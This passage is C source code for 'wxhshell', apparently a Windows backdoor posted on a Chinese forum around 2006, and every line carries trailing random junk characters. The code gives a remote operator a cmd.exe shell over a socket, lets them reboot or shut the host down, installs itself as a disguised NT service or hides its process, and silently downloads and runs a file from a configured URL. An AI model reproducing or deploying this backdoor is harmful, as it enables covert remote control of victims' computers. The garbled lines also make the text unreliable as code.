  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lwp(Pq  
  } IjnO2X  
  else { !&@!:=X,  
46M?Gfd,X  
    switch(cmd[0]) { d9yfSZ  
  =aJb}X  
  // 帮助 7N I~47s|v  
  case '?': { B&4NdL/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9xIz[`)i.  
    break; ("ulL5  
  } VXIB9 /*i  
  // 安装 I9E]zoj8  
  case 'i': { SZm&2~|J  
    if(Install()) w[?E oFI$Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ahx*Ti/e  
    else 6YpP/ K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7W `gN[*  
    break; H\@@iK=  
    } iBy &#^  
  // 卸载 yfCdK-9+B  
  case 'r': { <jHo2U8/"s  
    if(Uninstall()) ~91) DNaE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XonI   
    else V~_aM@q1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tq`rc"&7u  
    break; !%Qm{R  
    } iK <vr  
  // 显示 wxhshell 所在路径 7S)u7  
  case 'p': { eBxOa  
    char svExeFile[MAX_PATH]; 1 8kzR6(W  
    strcpy(svExeFile,"\n\r"); R[_UbN 28  
      strcat(svExeFile,ExeFile); >(39K  
        send(wsh,svExeFile,strlen(svExeFile),0); ,pMH`  
    break; ds D!)$  
    } )%=oJ!)  
  // 重启 Q R<q[@)F  
  case 'b': { 4l`"P~=2<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .Pi8c[  
    if(Boot(REBOOT)) 89X`U)Ws  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "L~qsFL  
    else { sQ>L3F;A`  
    closesocket(wsh); ~ (/OB w  
    ExitThread(0); F)^:WWVc#  
    } ?Z[`sm  
    break; >{huaN B  
    } ew{(@p+$  
  // 关机 B0#JX MX9  
  case 'd': { (2fWJ%7VG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rw#4 |&  
    if(Boot(SHUTDOWN)) 95^A !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 13KfI  
    else { 'Z=8no`<  
    closesocket(wsh); y0f"UH/   
    ExitThread(0); yJG M"$  
    } tp3]?@0  
    break; f=/IwMpn  
    } 1# -=|:U  
  // 获取shell %`1 p8>n  
  case 's': { m C &*K  
    CmdShell(wsh); \C.s%m  
    closesocket(wsh); w5tcO%+k1  
    ExitThread(0); qKL mL2O  
    break; N 56/\1R  
  } \c.MIDp"  
  // 退出 "g>, X[g  
  case 'x': { ofIw7D*h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wtpz ef=  
    CloseIt(wsh); C!Oz'~l  
    break; .PJCBT e  
    } LIZsDTU  
  // 离开 XAF*jevr  
  case 'q': { qH1&tW$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E+xC1U 3  
    closesocket(wsh); HbXYinG%  
    WSACleanup(); p&|:,|jo5  
    exit(1); ytg' {)  
    break; c mI&R(  
        } uF89B-t  
  } 236,o {9e  
  } -AcVVK&  
8) 1+j>OQ  
  // 提示信息 _Nmc1azS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iurb?  
} 3(n+5~{e  
  } <1(j&U  
=@E X!]=x  
  return; (h3f$  
} Oj?  |g_  
IGC:zZ~z  
// shell模块句柄 O${B)C,  
int CmdShell(SOCKET sock) N,M[Opm  
{ LWp#i8,  
STARTUPINFO si; ]= nM|e  
ZeroMemory(&si,sizeof(si)); TCI%Ox|a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1P[[PvkD6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /3pvq%i  
PROCESS_INFORMATION ProcessInfo; K~DQUmU@  
char cmdline[]="cmd"; ] 3UlF'{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1o*eu&@  
  return 0; h~R= ?%H[  
} a(BEm_l3  
M~jV"OF=  
// 自身启动模式 *[SOz)  
int StartFromService(void) P UJkC  
{ 48 n5Y~YS  
typedef struct gc KXda(  
{ >.X& v  
  DWORD ExitStatus; ?\7$63gBH  
  DWORD PebBaseAddress; !:<(p  
  DWORD AffinityMask; )J<VDO:_YA  
  DWORD BasePriority; V+'C71-P  
  ULONG UniqueProcessId; DN%b!K:  
  ULONG InheritedFromUniqueProcessId; pni*#W*n  
}   PROCESS_BASIC_INFORMATION; @W+m;4HH  
oFC]L1HN&  
PROCNTQSIP NtQueryInformationProcess; :,'yHVG\  
H;.${u^lhd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n 9X:s?B/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Op2@En|d  
#5b}"xK{  
  HANDLE             hProcess; 9nrmz>es|-  
  PROCESS_BASIC_INFORMATION pbi; td"D&1eQ@  
Q]v><  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n |e=7?H8  
  if(NULL == hInst ) return 0; +8#hi5e  
zOfMKrRG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H0P:t(<Gt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7)Y0D@wg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aR0'$*3E  
M8p6f)l3  
  if (!NtQueryInformationProcess) return 0; Y;dQLZ CC  
eF%>5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cFF'ygJ/  
  if(!hProcess) return 0; BV@xE  
={]tklND  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; []I _r=  
{^jk_G\ys  
  CloseHandle(hProcess); |Y")$pjz  
"gCqb;^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CL)*cu6zG  
if(hProcess==NULL) return 0; N" =$S|Gs  
9-( \\$%  
HMODULE hMod; ]?3-;D.eG  
char procName[255]; % r>v^1Vo  
unsigned long cbNeeded; "k'P #v{f  
lc8zF5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8EBy5X}US  
OoqA`%  
  CloseHandle(hProcess); u>y/<9]q8  
L55VS:'  
if(strstr(procName,"services")) return 1; // 以服务启动 pX LXkF?  
@}+F4Xh,L  
  return 0; // 注册表启动 Ak'=/`+p  
} - D&d1`N4  
76BA1x+G  
// 主模块 c*c 8S~6  
int StartWxhshell(LPSTR lpCmdLine) C >gC 99  
{ x3L0;:Fx8P  
  SOCKET wsl; .2v)x  
BOOL val=TRUE; VTIRkC wl@  
  int port=0; J7Y lmi  
  struct sockaddr_in door;  Bl1^\[#  
4u}jkd$]*  
  if(wscfg.ws_autoins) Install(); o_@6R"|  
W#sCvI@   
port=atoi(lpCmdLine); *Q XUy  
Y-fDYMm  
if(port<=0) port=wscfg.ws_port; id:6O+\  
WTX!)H6Zv  
  WSADATA data; d"U'\ID2y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ! a!^'2  
3:ELYn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V|`w/P9g4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2Cgq&\wS  
  door.sin_family = AF_INET; NS3qNj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1kdQh&~G  
  door.sin_port = htons(port); 1h,m  
t*dd/a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d: {#Dk#  
closesocket(wsl); [+.P'6/[$R  
return 1; }h=}!R'm   
} >Nr~7s  
1P6!E*z\  
  if(listen(wsl,2) == INVALID_SOCKET) { vL ]z3  
closesocket(wsl); e4<[|B!O  
return 1; o)r%4YOL  
} x4^* YZc$,  
  Wxhshell(wsl); 2}xvM"k=k  
  WSACleanup(); Wa!}$q+  
Dxp.b$0t  
return 0; *h)|K s  
m&{%6  
} ~;D5j) 9I  
W>cHZ. _  
// 以NT服务方式启动 Y'eE({)<K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s_RUb  
{ rOA{8)jIa*  
DWORD   status = 0;  Ds@nuQ  
  DWORD   specificError = 0xfffffff; C]GW u~QF  
[\,Jy8t)\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V \Sl->:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a"bael  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #.W^7}H  
  serviceStatus.dwWin32ExitCode     = 0; ?f&O4H  
  serviceStatus.dwServiceSpecificExitCode = 0; gv}J"anD  
  serviceStatus.dwCheckPoint       = 0; }Jm~b9j  
  serviceStatus.dwWaitHint       = 0; %z "${ zw  
SsfHp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +5xk6RP   
  if (hServiceStatusHandle==0) return; I6lWB(H!u  
n1r'Y;G  
status = GetLastError(); Gq0Q}[53  
  if (status!=NO_ERROR) I|/\L|vo  
{ E;-*LT&{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kDWMget$  
    serviceStatus.dwCheckPoint       = 0; +V;@)-   
    serviceStatus.dwWaitHint       = 0; .X;D I<K  
    serviceStatus.dwWin32ExitCode     = status; Qoom[@$  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6u [ B}%l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 07#e{   
    return; ds "N*\.  
  } 9D,/SZ-v  
@l %x;`E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y\@INA^  
  serviceStatus.dwCheckPoint       = 0; 1T/ 72+R0  
  serviceStatus.dwWaitHint       = 0; r"bV{v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;q&2$Mb  
} kH">(f  
-&QTy  
// 处理NT服务事件,比如:启动、停止 pWOK~=t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9?.  
{ =niT]xf  
switch(fdwControl) mT&?DZ9<  
{ $c1xh.  
case SERVICE_CONTROL_STOP: =.\PG [  
  serviceStatus.dwWin32ExitCode = 0; ?*dt JL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ck\TTNA  
  serviceStatus.dwCheckPoint   = 0; `g^bQ x  
  serviceStatus.dwWaitHint     = 0; vV*i)`IXe  
  { 0.z\YTZ9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MNu\=p\Eq  
  } s]'EIw}mo  
  return; G' 0JK+=o  
case SERVICE_CONTROL_PAUSE: s~g0VNu Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R@A"U[*  
  break; R>y/Y<5=  
case SERVICE_CONTROL_CONTINUE: #H-EOXy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kJk6lPSqi7  
  break; b<8,'QgB  
case SERVICE_CONTROL_INTERROGATE: "pTU&He  
  break; ),5|Ves;t[  
}; _ 0h)O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &at>sQ'  
} 91\]Dg  
Yc2dq e>  
// 标准应用程序主函数 ,HECHA_"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a2SXg A  
{ O%*:fd,o-  
-W.bOr  
// 获取操作系统版本 Wo+^R%K' 4  
OsIsNt=GetOsVer(); Y^-D'2P]P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )JXy>q#  
YES-,;ZQ'  
  // 从命令行安装 h42dk(B  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8Bwm+LYr-  
+~\1g^h  
  // 下载执行文件 G6q*U,  
if(wscfg.ws_downexe) { f(E[jwy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &@fW6},iW  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0T.kwZ8  
}  >^J  
|H&&80I  
if(!OsIsNt) { h%8C_m A  
// 如果时win9x,隐藏进程并且设置为注册表启动 o@uZU4MM  
HideProc(); y7U?nP ')+  
StartWxhshell(lpCmdLine); g[ O6WZ!F_  
}  4 `]  
else \ fSo9$  
  if(StartFromService()) Rg%Xy`gS  
  // 以服务方式启动 3S{3AmKj?  
  StartServiceCtrlDispatcher(DispatchTable); ^F g!.X_  
else bsdT>|gW  
  // 普通方式启动 G0b##-.'^  
  StartWxhshell(lpCmdLine); ,iMdv+  
p@[n(?duC.  
return 0; h {VdW}g  
}
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只看该作者 1 发表于: 2006-10-10
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